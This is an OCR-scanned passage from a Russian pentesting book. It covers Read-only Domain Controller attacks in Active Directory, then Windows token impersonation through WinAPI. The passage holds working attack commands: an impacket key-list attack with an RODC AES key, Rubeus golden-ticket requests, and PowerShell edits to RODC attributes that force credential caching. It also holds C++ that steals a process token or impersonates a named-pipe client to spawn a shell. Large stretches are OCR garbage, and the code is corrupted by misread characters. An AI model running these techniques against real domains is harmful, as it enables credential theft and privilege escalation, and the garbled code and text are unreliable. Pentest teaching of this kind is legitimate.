93d00042Ы20a8917d06614789cf360c
Рис.
3.20.
Извлечение ключа
AES-256
# impacket
impacket-keylistattack CRINGE/FAUSTINO_SHERМAN:pass123@dc01 -rodcNo 19160 -rodcKey
fa34fec82433432f4b3e3fb8005bd369ddde8f15ee5450e92d9304ecd07bab60 - dc-ip 192.168.116.133
-debug
52
#
Часть
/.
Пентест
Active Directory
RuЬeus
#
TGT
Сначала запрашиваем
RuЬeus.exe goldeп /rodcNшnЬer:19160
/aes256:fa34fec82433432f4b3e3fЬ8005Ьd369ddde8f15ee5450e92d9304ecd07baЬ60
/user:RACНAEL_LAМВERT
/id:1196
/domaiп:criпge.laЬ
/sid:S-l-5-21-1437000690-1664695696-
1586295871
#
Отдаем
TGT
TGS-REQ
в запрос
RuЬeus.exe
/eпctype:aes256
asktgs
/keyList
/ticket:doIFgzCCBX+gA
/dc:dcl.criпge.laЬ
/service:krbtgt/criпge.laЬ
Листаем вниз и находим хеш пользователя (рис.
L
.J
...,..,._,.
,-,.,,, _._,..... .,...,.._.,...,
.J,,,J
-.а._._""'..,.'-._.
,,...,,_
._..,
''""' •'-
3 .2 l ).
..,,..J_,.,..., ... ,.._,.
...
'-t-' .._..._
._. '-'-'-"
..._,,
,,...,..,"-..1
[-] User GRETCHEN_ELLIOTT is not allowed to have passwords replicated in RODCs
[-] User ROGER_GOLDEN is not allowed to have passwords replicated in RODCs
[-] User ERМA_WEEKS is not allowed to have passwыds replicated in RODCs
пinge. lab\RACHAEL_LAl>IBERT: 1196: 87615641ЬеdаЬЬ2845d3с25аб9еЬЫJеб
Рис.
3.21. lmpacket
натыкается на пользователя из
Контроль над объектом
msDS-RevealOnDemandGroup
RODC
Если вдруг в ходе пентеста получилось обнаружить учетную запись, которая имеет
права GeпericWrite/GeпericAll/WriteProperty на msDS-RevealOпDemaпdGroup и желательно на
msDS-NeverRevealGroup, то захват домена обеспечен! Все сводится к изменению этих
самых атрибуrов msDS-RevealOпDemaпdGroup и msDS-NeverRevealGroup, что приведет к кеши
рованию паролей новых пользователей.
Например, мы видим, что кеширование неких RAМONA- TURNER, RAМON- STEWART' и 'RANDELL
COLON отключено (рис. 3.22).
~
1
С \User~\ ~~,_~.,..,п.,,...
1,
ч 'iд-,"1
;:l'os,:1n,:a1нhN~->e
, 'l• R();t;
'1-•~S>ta5t 'i;ш,.
,l
1' АЬ1Ю
•OS-neve~~Nt',ilG J~P
bJertCl;sн
< ..,,, ..
tc < е
!D
se,-;,
"-Х.:,,ч,.-1.,
~t
t,1 ]е г,
,.,;,s 11:,..1e,ill)0Den~r,d(;r<>
X •L
,.,.,,е
[)(
р ~~D~
~,.,,,.-;.,.,,.,. 1G~c,
р
1~~
~е
~~
l , _,,._... ,,...,,.
~t~
bJect(,UIC:
• ~ J , ~ \.
,,. 1 ~~
~ ~ .... e;sl o,,~rj{, ~ ..
5.!!мc c N,n t't=e
> (,,..
Q,
~
r
-Ж:
<._..\(--\-.
::.•
С
• (' _. ,. ,.
,.... ~, ..
,,
••
4<~. ,,,,.s
',! {'
ь,.:,t,
~~J, О -,,.,
~ .. "] " Х•
IA~< > -:~
,-~ .. ж iаь
ё<-lcl>
l .... R,.,,O't_., ' 1'1 .\l
r, -f'-V 1
·.::..it' ос - ,-,,; .. А
, ... ...::--~, ['РЛ• ( ';• ""' Х • < ,,., .. "' l~ь
]JP
'""~-. D~LL._lO
1)',1 ou --sт о~....,., .. ,
2 X • L•1n9f' X • l&b }
~~1,.1:&f'
~ ~s
•·ч,p;sJ'la:•e
'
.
• ' -
_,
<t,J.,.,,;i • • '':-' 4
,
Рис.
3.22.
Изучение атрибутов
Поскольку у нас учетная запись имеет контроль над этим атрибуrом, просто очи
щаем его (рис.
3 .23 ):
Set-DomaiпObject -Ideпtity
ROOC$ -Clear 'msDS-NeverRevealGroup'
PS С ~ \\JS:~rs \Aдuин иef P~т~P. wiN-9BЁкiLQs75I > Set~Domai;object
PS С :\Usеrs \ Адwинистрат ор . t'IIN -9BEК1LQS7SI> Get-AOComputer
RODCS <' со·
msDS-Revea lOnDemandGroup . msOS-neverRevea lGroup
Dl st 1ngu1 sl1ed Narne
DNSHostName
Enabled
sDS-Revea lOnDe111an dG1·oup
Narne
bJectClass
bJectGtlID
Sar.lACCOLJntNarne
CN=ROOC ,OU=Dooal n Cont r·ol lers, OC=c r· lnge, ОС= lab
ROOC.cr·lnQe. lab
True
{C N=RACНAEL_LAМBERT ,OU=FIN ,OU=Peop 1 е, OC=cr·i nge, ОС= 1 аЬ, СN=Адuинистратор ,CN=Us ers, OC=cr; nge, ОС= 1 аЬ}
RODC
computer
dc 7 cce21-dlf 2-4 cSl-83 е8-Ь0650915 41 Se
RODC$
SID
S-1-5-21-25 31206019-2546345469-2015 7224 2-4202
UserPri nci palNarne
Рис.
3.23.
Очистка атрибутов
Глава
3.
Пентестим
53
Read-only Domain Controllers
А в атрибут msDS-RevealOnDemandGroup, наоборот, добавляем пользователей:
Set-DomainObject -Identity RODC$ -Set @{ 'msDS-RevealOnDemandGroup'=@('CN=RAМONA_TURNER,
OU=Test,OU=BDE,OU=Tier l,DC=cringe,DC=lab', 'CN=RAМON_STEWART,OU=ESM,OU=Stage,
DC=criпge,DC=lab', 'CN=RANDELL_COLON,OlJ=TST,OU=Tier 2,DC=crшge,DC=lab'))
Далее придется некоторое время подождать, пока не пройдет успешная синхрони
зация
RODC
с обычным контроллером домена и получение учетных данных поль
зователей, указанных в
msDS-RevealOnDemandGroup. Для этого мониторьте содержимое
атрибута msDS-RevealedList: в нем хранится список объектов, учетные данные кото
рых успешно закешировались на
RODC.
Команды смотри в разделе «Поиск».
Заключение
RODC
пользуется популярностью у системных администраторов. Да, этот инстру
мент удобен, но мало кто знает, что он создает новые векторы для атак. Самые час
тые мисконфиги:
1.
Кеширование
RODC
RevealOnDemandGroup
RODC,
2. RODC
большого числа учетных данных, например когда в
указывают
группу
Authenticated
Users.
msos-
Компрометируется
и мы получаем доступ к этим данным.
администрируются группой
RODC Admins, которая чаще всего не защищена
должным образом. Соответственно, атакующий пробивается в эту группу, идет
на
3.
RODC,
Пароль
а далее смотри пункт
DSRM
1.
на обычном контроллере домена и на контроллере домена
RODC
одинаковый.
Иными словами,
RODC
нельзя считать панацеей, но при грамотном администриро
вании множество распространенных ошибок получится сгладить либо исправить.
ЧАСТЬ
11
Системное программирование
для хакеров
Глава
4.
Изучаем возможности
Глава
5.
Получаем билеты
Глава
6.
Управляем привилегиями в
Глава
7.
Поставщик небезопасности.
Как
Windows
WinAPI
TGT
для пентестера
методом
GIUDA
Windows
раскрывает пароль пользователя
Глава
8.
Долой
Глава
9.
Как дам пить тикеты
Глава
10.
Как злоупотреблять хендлами в
Глава
11.
Достаем учетные данные
Глава
12.
Ищем способы обращения к нативному коду из С#
Глава
13.
Как работает угон пользовательских сессий в
Глава
14.
Используем
Глава
15.
Исследуем обход
Глава
16.
Как работает кража сессии через механизм СОМ
Mimikatz!
Инжектим тикеты своими руками
Kerberos
Named Pipes
UAC
на С++
Windows
Windows,
не трогая
при атаке на
на примере
LSASS
Windows
Windows
Elevation Moniker
4
ГЛАВА
Изучаем возможности
WinAPI
для пентестера
Система безопасности
рых
Windows
состоит из многих инструментов, один из кото
токены аутентификации. В этой главе мы научимся работать с токенами и
-
привилегиями и проводить имперсонацию пользователей
Для начала давайте запомним несколько терминов
Контекст
пользователя
он
(user context),
же
-
Windows.
скоро они нам пригодятся.
контекст
безопасности
(security
набор уникальных отличительных признаков пользователя, служащий
context) -
для контроля доступа. Система хранит сведения о контексте в токене
(его
также
называют маркером доступа). Рассмотрим их чуть более подробно.
SID
и токены
При входе в систему любой пользователь вводит свой лоrин и пароль. Затем, если
подключена доменная учетная запись, эти данные сверяются
ных записей
Active Directory
с хранилищем учет
на контроллере домена, которое называется ntds. di t,
либо с базой данных локального компьютера -
SАМ.
Если пароль верный, система начинает собирать сведения об учетной записи.
В случае
Active Directory также
собирается информация уровня домена (например,
доменные группы). И независимо от типа УЗ находятся сведения, относящиеся
к локальной системе, в том числе перечень локальных групп, в которых состоит
пош,:;ователь. Все эти данные помещаются в специальную структуру, хранящуюся
в объекте ядра, который называется токеном доступа.
В системах
Windows
у многих объектов
-
группы, домена, пользователя
ствует специальный идентификатор безопасности,
ет вот такой формат (рис.
SID (Security Identifier).
-
суще
Он име
4.1 ):
S-R-1-S-S
В этой записи:
□
s
означает, что последовательность чисел представляет собой идентификатор
безопасности;
Часть
58
11.
Системное программирование для хакеров
;·г2-ТТ~в••t:~~~ЗЗЗО6820т
SI.D Strtng
Revlaion
А~
Рис.
4.1.
Как выглядит
SID
□ R-
номер версии
□
число, представляющее уполномоченный орган
r-
или выдал
□
s-
SID;
(authority),
который создал
SID;
число, представляющее второй уполномоченный орган
содержит внутри себя
(subauthority).
Также
дополнительный идентифика
RID (Relative Identifier) -
тор, который используется, чтобы отличить одного пользователя от другого;
□
s-
еще один уполномоченный орган.
SID
может содержать внутри себя любое
количество уполномоченных органов.
При этом существуют и некоторые стандартные
тации
Microsoft
SID.
Они перечислены в докумен
(https:/Лearn.microsoft.com/en-us/openspecs/windows_protocols/
ms-dtyp/81d92bba-d22b-4a8c-908a-554aЫ9148ab).
ваются хорошо известными
Такие
идентификаторы
назы
(well known).
Токен же хранит внутри себя множество различных
SID,
среди которых можно
выделить основные:
□
SID
пользователя
-
идентифицирует учетную запись, для которой был создан
токен;
□
SID
групп
-
идентификаторы групп, в которые входит пользователь;
□ SID регистрации -
уникальный SID, созданный в момент аутентификации. nо
зволяет отличить один сеанс от другого
(если
пользователь несколько раз захо
дил в систему, то система каждый раз создает уникальный
SID
регистрации).
Достаточно сложно, правда ведь? Но можно провести простую аналогию. Токен
карточка сотрудника компании.
группы
-
SID
пользователя
-
имя на этой карточке,
SID
напечатанная должность. Система смотрит на эту карточку каждый раз,
когда мы начинаем с ней взаимодействовать.
Токен и процесс
В
Windows
есть процессы, а есть потоки. Говоря простыми словами, это некие объ
екты, обладающие собственным виртуальным адресным пространством. Потоком
называют ход вь11юлнения программы. Поток выполняется в рамках владеющего
им процесса, или. как говорят, в контексте процесса. Любое запущенное прило
жение представляет собой процесс, в контексте которого выполняется по крайней
мере один поток.
Глава
4.
Изучаем возможности
WinAPI
для пентестера
59
У процесса есть токен. Чаще всего используется токен пользователя, запустившего
процесс. Когда процесс порождает другие процессы, все они используют этот же
токен (рис.
v •
4.2).
1
3868
4116
3384
9840
8924
S128
firefox.exe
• firefox.exe
• firefox.exe
• firefox.exe
• firefox.exe
8 firefox.exe
Рис.
0,05
4.2. Дочерние
263,SS МВ
492, 1 МВ
20,5 МВ
42,8 МВ
96,26 МВ
215,41 МВ
WHOAMI\Michael
WHOAMI\Michael
WHOAMI\Mictlael
WHOAMI\Mictlael
WHOAMI\Mictlael
WHOAMI\Mictlael
Firefox
Firefox
Firefox
Firefox
Firefox
Firefox
процессы имеют тот же токен
Если нам требуется выполнить одну задачу с токеном одного пользователя, а дру
гую
-
с токеном другого пользователя, запускать новый процесс как-то не очень
удобно. Поэтому токен можно применить и к определенному потоку процесса.
Приступаем к работе
Получаем токен
Существует несколько функций для получения токена. Для работы с процессами
и потоками можно использовать следующие варианты.
Вариант
1:
получить токен определенного процесса.
OpenProcessToken(
[in] НANDLE ProcessHandle,
[in] DWORD DesiredAccess,
[out] PНANDLE TokenНandle
В001
);
Вариант
2:
получить токен определенного потока.
OpenThreadToken(
[in] НANDLE ThreadНandle,
[in] DWORD DesiredAccess,
[in] В001
OpenAsSelf,
[out] PНANDLE TokenHandle
В001
);
Переписывать
MSDN
и объяснять каждый параметр как-то неправильно. Предла
гаю обратить внимание лишь на второй параметр
- DesiredAccess.
Здесь вы должны указать, какой тип доступа к токену хотите получить. Это значе
ние преобразуется в маску доступа, на основе которой
Windows определяет, можно
WinAPI предоставляет для такой маски некоторые
стандартные значения (https://learn.microsoft.com/en-us/windows/win32/secauthz/
access-rights-for-access-token-o Ьjects).
выдавать токен или нельзя.
Обратите внимание, что просто так засунуть TOKEN_ALL_ACCESS нельзя: система ба
нально не выдаст токен, т. к. в эту маску входит и TOКEN_ADJUST_SESSIONID, который
Часть
60
11.
Системное программирование для хакеров
требует наличия привилегии SeTcbPrivilege. Такой привилегией обладает лишь сис
тема.
При этом данную ошибку допускают очень часто. Например, лишь в версии
струмента
Cobalt Strike
lOth-anniversary-edition/)
4. 7
ин
(https://www.cobaltstrike.com/Ыog/cobalt-strike-4- 7-the-
был исправлен этот недочет.
Чаще всего для наших задач мы будем указывать привилегию TOКEN_DUPLICATE, чтобы
использовать функцию DuplicateTokenEx 1), которую мы разберем позже.
Вариант
3:
запросить токен пользователя, если мы знаем его лоrин и пароль.
LogonUserA(
[in]
[in, optional]
[in, optional]
[in]
[in]
[out]
В001
LPCSTR lpszUsername,
LPCSTR lpszDomain,
LPCSTR lpszPassword,
DWORD dwLogonType,
DWORD dwLogonProvider,
PНANDLE phToken
);
Проверка наличия привилегии в токене
Токен также содержит информацию о привилегиях пользователя. У самих привиле
гий в Windows есть два представления:
□ дружественное имя пример
имя, которое отображается в интерфейсе Windows, на-
Act as part of the operating system;
□ программное имя
-
имя, которое используют приложения, например
SE _тсв _NАМЕ.
Для проверки можно использовать следующую функцию:
PrivilegeCheck(
[in]
ClientToken,
НANDLE
[in, out] PPRIVILEGE_SET RequiredPrivileges,
[out]
LPBOOL
pfResult
В001
);
Сам код может быть примерно следующий (принимает токен, в котором надо про
верить наличие привилегии, и ее имя. Допустим, SE_DEBUG_NAМE):
bool IsPrivilegeEnaЫed(НANDLE hToken, PCWSTR пате) (
PRIVILEGE SET set();
set.PrivilegeCount = l;
if ( 1 : :LookupPrivilegeValue(nullptr, пате, &set.Privilege[0] .Luid))
В001 result;
return : :PrivilegeCheck(hToke~, &set, &result) && result;
return false;
Глава
4.
Изучаем возможности
WinAPI
для пентестера
61
Изменение информации токена
Допустимые изменения делятся на две группы (рис.
4.3):
□ сведения, которые можно изменить;
□ сведения, которые можно задать.
Для большинства ситуаций можно воспользоваться этой функцией:
В001 SetTokenlnfoпnation(
[in) НANDLE
[in] TOКEN_INFORМATION_CLASS
[in] LPVOID
[in] DWORD
TokenНandle,
TokenlnfoпnationClass,
Tokenlnfoпnation,
TokenlnfoпnationLength
);
Конечно же, в токене возможно изменить далеко не все параметры. Ниже описаны
допустимые классы информации для setTokeninfoпnation (), а также привилегии и
маски доступа, которые для этого требуются.
TOКEN_INFORМATIOII_CLASS
Access mask required
TokenOwner
TOКEN_ADJUST_DEFAULT
TokenPrimaryGroup
TOКEN_ADJUST_DEFAULT
TokenDefaultDacl
TOКEN_ADJUST_DEFAULT
TokenSessionid
TOКEN_ADJUST_SESSIDNID
Privilege required
TokenVirtualizationAllowed
TokenVirtualizationEnaЫed
SeTcЬPrivilege
SeCreateTokenPrivilege
TOКEN_ADJUST_DEFAULT
TokenOrigin
SeTcЬPrivilege
TokenмandatoryPolicy
SeCreateTokenPrivilege
Рис.
4.3.
Что можно изменить
Например, чтобы включить виртуализацию
UAC,
используйте следующий код:
// hProcess имеет PROCESS_QUERY_INFORМATION
hToken;
OpenProcessToken(hProcess, TOКEN_ADJUST_DEFAULT, &hToken);
ULONG еnаЫе = 1;
НANDLE
SetTokenlnfoпnation(hToken,
TokenVirtualizationEnaЫed,&enaЫe,
sizeof(enaЫe));
При этом мы можем изменить и привилегии, содержащиеся в токене! Но требуется
знать, как получить из программного имени привилегии ее
сделать следующая функция:
LookupPrivilegeValueA(
[in, optional] LPCSTR lpSystemName,
[in]
LPCSTR lpName,
[out]
PLUID lpLuid
В001
);
LUID.
Это позволяет
Часть
62
Следующим шагом мы должны вызвать
AdjustTokenPrivileges(
НANDLE
[in]
[in]
В001
[in, 6ptional] PTOKEN PRIVILEGES
[in]
DWORD
[out, optional] PTOKEN PRIVILEGES
[out, optional] PDWORD
11.
Системное программирование для хакеров
AdjustTokenPri vilege (1:
В001
TokenHandle,
DisaЬleAllPrivileges,
NewState,
BufferLength,
PreviousState,
ReturnLength
1;
Эта функция может как включить привилегии, так и отключить их. Не знаю, поче
му
Microsoft
не реализовала что-нибудь подобное:
В001 EnaЬleTokenPrivilege(НANDLE
hToken, LPTSTR szPriv,
В001 bEnaЬled)
TOKEN_PRIVILEGES tp;
LlJID luid;
В001 bRet = FALSE;
try {
// Ищем уникальный для системы LlJID привилегии
if ( !LookupPrivilegeValue(NlJLL, szPriv /*SE DEBOG_NAМE*/, &luid)) {
// Если имя фиктивное
leave;
// Создаем массив привилегий нашего маркера (в данном
tp.PrivilegeCount = 1;
tp.Privileges[O] .Luid = luid;
tp.Privileges[O] .Attributes = bEnaЬled? SE PRIVILEGE
//
Изменяем состояние привилегий маркера,
случае массив из одного элемента)
ENAВLED
О;
включая или отключая привилегии из нашего
массива
if (!AdjustTokenPrivileges(hToken, FALSE, &tp,
leave;
sizeof(TOКEN_PRIVILEGES),
NlJLL, NULL))
bRet = TROE;
finally {};
return(bRet);
Этой функции требуется передать токен, программное имя привилегии и булево
значение,
TROE или FALSE, т. е. включить привилегию или выключить ее. При этом
_
_PRIVILEGES.
токен должен иметь маску токЕN ADJusт
Глава
4.
Изучаем возможности
WinAPI
для пентестера
63
Выполнение кода с использованием токена
Чаще всего процесс использования полученного токена начинается с вызова функ
ции
DuplicateTokenEx () :
В001
DuplicateTokenEx(
[in]
НANDLE
hExistingToken,
[in]
DW0RD
dwDesirec!Access,
[in, optional] LPSECURITY ATTRIBUTES
lpTokenAttributes,
[ in]
SECURITY_ IMPERS0NATI0N_LEVEL IrnpersonationLevel,
[in]
ТОКЕN ТУРЕ
TokenType,
[out]
PНANDLE
phNewТoken
);
Она просто создает новый токен, который дублирует ранее полученный. При этом
мы должны передавать токен, который был запрошен с маской ТОКЕN_DUPLICATE.
В dwDesirec!Access вы должны указать новую маску доступа. Допускается использо
вать
предопределенные значения из документации Microsoft (https://learn.
microsoft.com/en-us/windows/win32/secautlw'access-rights-for-access-token-objects).
И вновь может возникнуть путаница с ImpersonationLevel. Это действительно уровень
имперсонации, т. е. он определяет, насколько токен может олицетворять объект.
Существуют следующие варианты:
□
securityAnonymous -
токен с таким уровнем перевоплощения не может быть ис
пользован для создания процесса, заимствующего права. Анонимный уровень
поддерживается только для межпроцессного взаимодействия (например, для
именованных каналов).
Все
остальные
способы
просто
повышают его до
Securityidentification;
□ Securityidentification -
может быть использован для идентификации (можно бу
дет узнать пользователя и группу,
ACL
нять для имперсонации или в вызовах
пользователя), но НЕЛЬЗЯ будет приме
CreateProcessAsUser (), CreateProcessWi thTokenW ()
и подобных;
□ Securityimpersonation -
полнофункциональный
маркер,
с
помощью
которого
можно олицетворять кого-либо в локальной системе, но нельзя олицетворять
в удаленных системах;
□ securityDelegation -
маркер может олицетворять клиента в удаленных системах.
Самый мощный уровень.
Создание процесса
Следующим шагом идет вызов CreateProcessWi thTokenW (). Эта функция создает про
цесс, а затем привязывает к нему указанный токен:
В001
CreateProcessWithTokenW(
[in]
НANDLE
hToken,
[in]
DW0RD
dwLogonFlags,
[in, optional]
LPCWSTR
lpApplicationName,
Часть
64
[in, out, optional]
[in]
[in, optional]
[in, optional]
[in]
[out]
LPWSTR
DWOP.D
LPVOID
LPCWSTR
LPSTARTUPINFOW
LPPROCESS INFORМATION
11.
Системное программирование для хакеров
lpCoппnandLine,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupinfo,
lpProcessinfonnation
);
Единственный минус
-
у вас должна быть привилегия SeimpersonatePrivilege, в про
тивном случае вызов обернется ошибкой. Однажды, когда мне требовалось повы
сить права в системе и имелась учетная запись с этой привилегией, я нашел сле
дующий код:
#include <windows.h>
#include <iostream>
int rnain(int argc, char * argv[]) (
char а;
НANDLE processHandle;
НANDLE tokenНandle = NULL;
НANDLE duplicateTokenHandle = NULL;
STARTUPINFO startuplnfo;
PROCESS_INFORМATION processlnforrnation;
DWORD PID ТО IMPERSONATE = 3060;
wchar t cmdline[] = L"C:\\shell.cmd";
ZeroMemory(&startuplnfo, sizeof(STARTUPINFO));
ZeroMemory(&processinfonnation, sizeof(PROCESS
startuplnfo.cb = sizeof(STARTUPINFO);
INFORМATION)
);
processHandle = OpenProcess(PROCESS_ALL_ACCESS, true, PID_TO_IMPERSONATE);
OpenProcessToken(processHandle, TOКEN_ALL_ACCESS, &tokenНandle);
DuplicateTokenEx(tokenНandle, TOКEN_ALL_ACCESS, NULL, Securitylmpersonation, TokenPrimary,
&duplicateTokenНandle);
CreateProcessWithTokenW(duplicateTokenНandle,
LOGON_WITH_PROFILE, NULL, cmdline,
О,
NULC,
NULL, &startuplnfo, &processlnforrnation);
std::cin »
а;
// CloseHandle()
return
опустил
О;
Сможете догадаться, почему он не заработал? Ошибка такая же, как и у
Cobalt
Strike. Для успешной эксплуатации достаточно запросить маску ТОКЕN _ASSIGN _PRIМARY
1 ТОКЕN DUPLICAТE
I
ТОКЕN
_QUERY
в вызове
OpenProcessToken ().
Глава
4.
Изучаем возможности
WinAPI
для пентестера
65
Применение к потоку
Можно привязать токен и к определенному потоку процесса. Для этого существует
следующая функция:
SetThreadToken(
[in, optional] PНANDLE Thread,
[in, optional] НANDLE Token
ВООL
);
Например:
НANDLE hProcТoken;
OpenProcessToken(GetCurrentProcess(), ТOКEN_DUPLICATE, &hProcToken);
НANDLE hlrnpToken;
DuplicateTokenEx(hProcToken, МAXIMUМ_ALLOWED, nullptr,Securityldentification,
Tokenlrnpersonation, &hlrnpToken) ;
CloseHandle(hProcToken);
SetThreadToken(nullptr, hlrnpToken);
// Делаем что-нибудь
RevertToSelf () ;
CloseHandle(hlmpToken);
Если мы знаем учетные данные пользователя, то можно получить его токен и ра
ботать с ним вот так:
НANDLE
hToken;
LogonUser(L"alice", L".", L"alicesecretpassword", LOGON32 LOGON ВАТСН,
LOGON32_PROVIDER_DEFAULT, &hToken); // Получаем токен пользователя
IrnpersonateLoggedOnUser(hToken);
// ВЬII1олняем задачи от лица пользователя alice
RevertToSelf(); // Возвращаем исходный контекст
CloseHandle(hToken)
Заимствование прав подключенного
пользователя
Без установления соединения
Для заимствования прав подключенного пользователя может служить функция
ImpersonateLoggedOnUser (), которую мы уже рассмотрели, либо ImpersonateSelf ():
ImpersonateSelf(
[in] SECURITY_IMPERSONATION_LEVEL IrnpersonationLevel
В001
);
Она продублирует токен нашего процесса, создаст новый с указанным типом
имперсонации и свяжет его с вызывающим потоком.
Часть
бб
11.
Системное программирование для хакеров
Именованные каналы
Существует возможность имперсонации клиента пайпа:
ImpersonateNamedPipeClient(
[in] НANDLE hNamedPipe
ВOO1
);
Но обратите внимание, что для вызова этой функции потребуется привилегия
SeimpersonatePrivilege. Также мы получим токен с уровнем имперсонации, меньшим,
чем Securityimpersonation, например Securityidentification или SecurityAnonymous, поэтому
необходимо будет вызвать DuplicateTokenEx ().
#include <Windows.h>
#include <iostream>
int main() {
LPCWSTR pipeName = L"\\\\.\\pipe\\pipename";
LPVOID pipeBuffer = NULL;
НANDLE serverPipe;
DWORD readBytes = О;
DWORD readBuffer = О;
int err = О;
ВOO1 isPipeConnected;
ВOO1 isPipeOpen;
DWORD bytesWritten = О;
std: :wcout « "Creating named pipe " « pipeName « std: :endl;
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048,
2048, О, NULL);
isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
if (isPipeConnected) {
std: :wcout « "Incoming connection to " « pipeName « std: :endl;
std: :wcout « "Impersonating the client ... " « std: :endl;
ImpersonateNamedPipeClient(serverPipe);
err = GetLastError();
STARTUPINFO si = {);
wchar_t command[] = L"C:\\Windows\\system32\\cmd.exe";
PROCESS_INFORМATION pi = {);
НANDLE threadToken = GetCurrentThreadToken();
CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL,
CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
return
О;
Глава
4.
Изучаем возможности
WinAPI
для пентестера
67
Сокеты или другой механизм взаимодействия
Если нам требуется провести имперсонацию клиента, с которым мы взаимодейст
SSP (Security Support Prodiver). Самые популярные
Windows - NTLMSSP и Kerberos. Для программиро
вания с SSP используется SSPI (Security Support Provider Interface). Он создает так
пакеты данных, которые передаются клиен
называемые блобы (security ЫоЬs) -
вуем, то можно использовать
средства из этой категории в
том серверу и в обратном направлении.
SSP
позволяет нам выстроить контекст. С помощью выстроенного контекста мы
сможем получить токен.
Начало работы
Сначала следует перечислить все доступные для текущего хоста
SSP.
Это можно
сделать с помощью следующей функции:
SECURITY_STATUS SEC_ENTRY EnumerateSecurityPackagesA(
[in] unsigned long *pcPackages,
[in) PSecPkginfoA *ppPackagelnfo
1;
Например:
#define SECURITY WIN32
#include <windows.h>
#include <stdio.h>
#include <sspi.h>
#pragma cornrnent (lib, "Secur32. lib")
шt
main() {
ULONG pcPackages = О;
SecPkginfo* secPkginfo = NULL;
SECURITY STATUS status;
status = EnumerateSecurityPackages(&pcPackages, &secPkginfo);
if (status != SEC_E_OK) (
wprintf(L"Security function failed with error: %i\n",status);
for (ULONG i = О; i < pcPackages; i++) {
wprintf (L"%ws\n", secPkglnfo [i]. Name);
return
О;
В pcPackages содержится количество протоколов защиты, которые были получены, а
ppPackageinfo будет содержать подробную информацию. Он является экземпляром
структуры secPkginfo, при этом сама структура выглядит вот так:
Часть
68
11.
Системное программирование для хакеров
typedef struct _SecPkginfoA {
unsigned long fCapaЬilities;
unsigned short wVersion;
unsigned short wRPCID;
unsigned long сЬМахТоkеn;
SEC СНАR
*Name; // Название
SEC СНАR
*Coппnent;
SecPkglnfoA, *PSecPkglnfoA;
Далее требуется получить собственные реквизиты для
SSP
и определиться с прото
колом защиты. В этом поможет следующая функция:
SECURITY_STATUS SEC_Entry AcquireCredentialsHandle(
In SEC СНАR
*pszPrincipal,
*pszPackage,
In SEC СНАR
fCredentialUse,
In ULONG
In PLUID
pvLogonID,
In PVOID
pAuthData,
In SEC GET КEY_FN pGetKeyFn,
In PVOID
pvGetKeyArgument,
Out PCredНandle
phCredential,
_Out_ PТimeStarnp
ptsExpiry
);
Например:
#define SECURITY WIN32
#include <windows.h>
#include <stdio.h>
#include <sspi.h>
#pragma comment (lib, "Secur32.lib")
int main() {
ULONG pcPackages = О;
SecPkglnfo* secPkglnfo = NULL;
SECURITY STATUS status;
status = EnumerateSecurityPackages(&pcPackages, &secPkginfo);
if (status != SEC_E_OK) {
wprintf(L"Security function failed with error: %i\n",status);
for (ULONG i = О; i < pcPackages; i++) {
wprintf(L"%d - %ws\n", i,secPkginfo[i] .Name);
printf("Which would u like? ");
int numЬerOfSSP = О;
scanf_s("%d", &numЬerOfSSP);
Глава
4.
Изучаем возможности
WinAPI
для пентестера
69
CredНandle hCredentials;
TimeStamp tsExpires;
status = Acqui'reCredentialsHandle (NULL, secPkglnfo [nшnЬerOfSSP] . Name, SECPKG_CRED_ВОТН,
NULL, NULL, NULL, NULL, &hCredentials, &tsExpires);
if (status != SEC_E_OK)
wprintf(L"ERROR");
else {
wprintf(L"SUCCESS, lets authenticate!");
// Код для аутентификации
return
О;
В pszPrincipal указывайте имя объекта, для которого мы получаем реквизиты. NULL
будет
означать,
что
нам
требуются
реквизиты
для
токена
текущего
потока.
В pszPackage мы прописываем протокол защиты} который будем использовать. Мож
но указать параметр Name из структуры SecPkginfo ( см. функцию выше). Либо воз
можны следующие варианты:
□
SChannel -
компонент UNISP_NАМЕ для
□
Negotiate -
SSL;
компонент NEGOSSP_NАМЕ для
Negotiate
(используется самый подходя
щий в текущей ситуации протокол (или NТLM, или
выбор, описано в документации
Kerberos, как происходит
(https://docs.microsoft.com/en-us/windows/win32/
secauthn/microsoft-negotiate));
□ NТLM
□
-
Kerberos -
компонент NTLМSP_NАМЕ для NТLM;
компонент MICROSOFГ _КERВEROS _NАМЕ для
Kerberos.
Роль клиента
В процессе аутентификации клиент и сервер ведут себя по-разному, поэтому нач
нем с разбора того, что делает клиент.
Первым делом клиент инициирует исходящий контекст безопасности из дескрип
тора
учетных
данных,
полученных
в
результате
вызова
функции
AcquirecredentialsHandle (). Обычно эта функция вызывается в цикле до тех пор, пока
не будет установлен достаточный контекст безопасности.
SECURITY_STATUS SEC_ENTRY InitializeSecurityContextA(
phCredential,
[in, optional]
PCredНandle
[in, optional]
PCtxtHandle
phContext,
*pszTargetName,
SEC СНАR
tinsigned long fContextReq,
[in]
[in]
unsigned long Reservedl,
unsigned long TargetDataRep,
[in]
[in, optional]
PSecBufferDesc plnput,
unsigned long Reserved2,
[in]
[in, out, optional] PCtxtHandle
phNeWContext,
Часть
70
11.
Системное программирование для хакеров
[in, out, optional] PSecBufferDesc pOutput,
[out]
unsigned long *pfContextAttr,
[out, optional]
PTimeStamp
ptsExpiry
1;
Процесс последовательных вызовов указанной функции имеет следующие особен
ности:
□ параметр
phContext
должен указывать на переменную, которая содержит хендл
контекста, полученный через параметр
phNewContext;
□ при последовательных обращениях к этой функции игнорируется параметр
pszTargetName;
□ мы будем передавать функции InitializeSecurityContext(I блобы, полученные от
сервера параметром
□ требования
к
pinput;
контексту
со
стороны
сервера
возвращаются
параметром
pfContextAttr, и их надо проверять, чтобы они не противоречили потребностям
клиента.
Последовательность вызовов стоит выполнять, анализируя возвращаемое значение
функции. Если она вернула SEC_r_CONTINUE _NEEDED, то клиент вновь должен ее вызвать.
Возврат
SEC_Е_ок означает, что контекст удачно построен.
При этом данная функция не вернет управление до тех пор, пока сервер, к которо
му коннектятся, не вызовет
AcceptSecuri tycontext (1.
Для работы с блобами используются входные и выходные буферы. При их исполь
зовании требуется создать массив переменных secвuffer, которые должны указывать
на выделенные нами буферы памяти. Затем мы присваиваем адрес этого массива
